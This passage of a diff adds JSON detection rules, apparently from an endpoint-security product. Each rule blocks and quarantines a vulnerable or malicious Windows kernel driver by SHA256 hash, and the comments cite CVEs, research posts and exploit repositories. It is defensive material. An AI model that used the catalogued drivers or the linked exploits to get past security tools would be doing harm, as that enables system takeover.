+  "value": "8a982eed9cbc724d50a9ddf4f74ecbcd67b4fdcd9c2bb1795bc88c2d9caf7506",
+  "comment": "Vulnerable Kernel Driver (aka AODDriver.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "674231a5-0043-5d86-8a1b-fd888e815bce",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143844Z",
+  "creation_date": "2026-03-23T11:45:31.143846Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143851Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a9aa7d47997abe627a9a13a72c59a8e1eda71bbcf1956bab29e511463e1908d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "674a286c-b967-5fce-af0b-04109eb70da4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.490557Z",
+  "creation_date": "2026-03-23T11:45:31.490559Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.490565Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "626b55bb5118e8e611ffadf79ad2e7606255c343caf9efc844f1dda6ba2406ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "675a4fbb-d4aa-5fb9-a4d8-69d80cdc4185",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614945Z",
+  "creation_date": "2026-03-23T11:45:29.614947Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614953Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d92eab70bcece4432258c9c9a914483a2267f6ab5ce2630048d3a99e8cb1b482",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "677686fe-cfe5-50e6-a2f6-ede9cfdaea60",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.821357Z",
+  "creation_date": "2026-03-23T11:45:30.821360Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.821369Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5c80dc051c4b0c62b9284211f71e5567c0c0187e466591eacb93e7dc10e4b9ab",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "678a9bf9-e627-56f8-acfc-12341f6676c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622366Z",
+  "creation_date": "2026-03-23T11:45:29.622368Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622373Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b2ba6efeff1860614b150916a77c9278f19d51e459e67a069ccd15f985cbc0e1",
+  "comment": "PassMark vulnerable driver (aka DirectIo32.sys and DirectIo64.sys) [CVE-2020-15479] [https://github.com/eset/vulnerability-disclosures/blob/master/CVE-2020-15479/CVE-2020-15479.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "678f1f81-658d-59a6-b3fe-5b7ba04e6943",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.815215Z",
+  "creation_date": "2026-03-23T11:45:31.815217Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.815222Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "21e65f2c00631ac77fea052ed981acf655103ca877d7cbab573a79b93fba9d5b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "67949cc7-1a42-5a80-8939-457a73802c3d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975604Z",
+  "creation_date": "2026-03-23T11:45:29.975606Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975611Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da11e9598eef033722b97873d1c046270dd039d0e3ee6cd37911e2dc2eb2608d",
+  "comment": "Novell XTier vulnerable driver (aka libnicm.sys) [https://learn.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "679b3e2a-b621-558b-a9dc-87af2ac4bf7a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975290Z",
+  "creation_date": "2026-03-23T11:45:29.975292Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975298Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4cd6dbc00264998beb4f4c09c10e3577b6e0579380856e205a9335b331f4261d",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "679f8097-3389-5a09-9d00-d91c1e620a2d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.495169Z",
+  "creation_date": "2026-03-23T11:45:31.495171Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.495177Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c02c6e10d05715f21b6fdee9b3ed02a48106a0c39a0a8ae90a0a4740faad0e59",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "67a00de6-d15b-5a3c-9c98-c971571c694c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142575Z",
+  "creation_date": "2026-03-23T11:45:31.142577Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142583Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1b83e89b7dc79199184516cb3ab12d09d574e02db2bbbf96a2d08ae56087e747",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "67aaecd0-4e70-53a3-baf5-2fbbe962b32a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.834815Z",
+  "creation_date": "2026-03-23T11:45:30.834819Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.834828Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "8d10013155f36d0a9343b8dde6c7851e6bbdabc14f23b56ca66692c8240775ad",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "67acd985-1c04-5d1b-af08-fcac6a0d1de0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484422Z",
+  "creation_date": "2026-03-23T11:45:31.484426Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484436Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fb0f056c45a8b828e452797415b027030f056820ed12fd693ee20cd92318e19b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "67b1e0e5-c386-5460-a7cf-17f2a5dc4528",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155487Z",
+  "creation_date": "2026-03-23T11:45:31.155489Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155495Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a909f65973d55078973ff6632e2f84fb2378392eadf01b04eb373bed9f8f33f9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "67c1a957-7697-5a68-b50b-92eb7f4f0d4e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.605120Z",
+  "creation_date": "2026-03-23T11:45:29.605122Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.605127Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bf80a8d047b6dbd239e3e6869b931c31a62de059b24bd76c3564df9125b5aac3",
+  "comment": "Process Hacker driver (aka kprocesshacker.sys) [https://processhacker.sourceforge.io/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "67d89456-928c-5071-820d-d708e96f3ce1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.967261Z",
+  "creation_date": "2026-03-23T11:45:29.967264Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.967273Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "63d61549030fcf46ff1dc138122580b4364f0fe99e6b068bc6a3d6903656aff0",
+  "comment": "Retliften malicious signed drivers (aka netfilter.sys) [https://msrc-blog.microsoft.com/2021/06/25/investigating-and-mitigating-malicious-drivers/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "67dc737d-9d23-5aa9-b22f-52f2b414088d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.810733Z",
+  "creation_date": "2026-03-23T11:45:31.810735Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.810740Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c0778ad68d1485165c7295582d49f565912300972b0779bd4a9a1bfb0730448c",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "67f2e03b-64c0-553e-a24c-64a3c956439f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977729Z",
+  "creation_date": "2026-03-23T11:45:29.977731Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977737Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cc383ad11e9d06047a1558ed343f389492da3ac2b84b71462aee502a2fa616c8",
+  "comment": "Vulnerable Kernel Driver (aka Netfilter.sys) [https://www.loldrivers.io/drivers/9454a752-233e-4ba2-b585-8da242bf8f31/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "67f41213-84f0-5cf2-a2cf-3db8860720f6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621846Z",
+  "creation_date": "2026-03-23T11:45:29.621848Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621853Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "12af7c39519e16307c2c62a84ca40017b43acf7fa90ec97c182701ffcffa1b61",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "67fc1afe-44f9-5c8c-a893-7088b12e29c0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621599Z",
+  "creation_date": "2026-03-23T11:45:29.621601Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621606Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "910479467ef17b9591d8d42305e7f6f247ad41c60ec890a1ffbe331f495ed135",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6806dd67-8e9e-5764-b246-0e030241ad7e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.480909Z",
+  "creation_date": "2026-03-23T11:45:31.480912Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.480922Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0a310c13415346c957240adfd34f0c7cdc893e52b3bdfe6c7dc0f779bef69d5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6814e803-0c08-5842-a4c3-7c0766c99a17",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.976660Z",
+  "creation_date": "2026-03-23T11:45:29.976662Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.976669Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2a30ad675142cf411e7e5f5c53c6423de570a398295b0956130a7a7d77383103",
+  "comment": "Malicious attestation-signed Drivers (aka NodeDriver.sys, 4.sys, Air_SYSTEM10.sys etc.) [https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "6836d735-b0ac-58ca-854a-53372572dec7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470042Z",
+  "creation_date": "2026-03-23T11:45:30.470045Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470054Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d67899bbb43fec01b10b33105eb970d44aac5b81dd22cab8bf2d86302f6d08a8",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
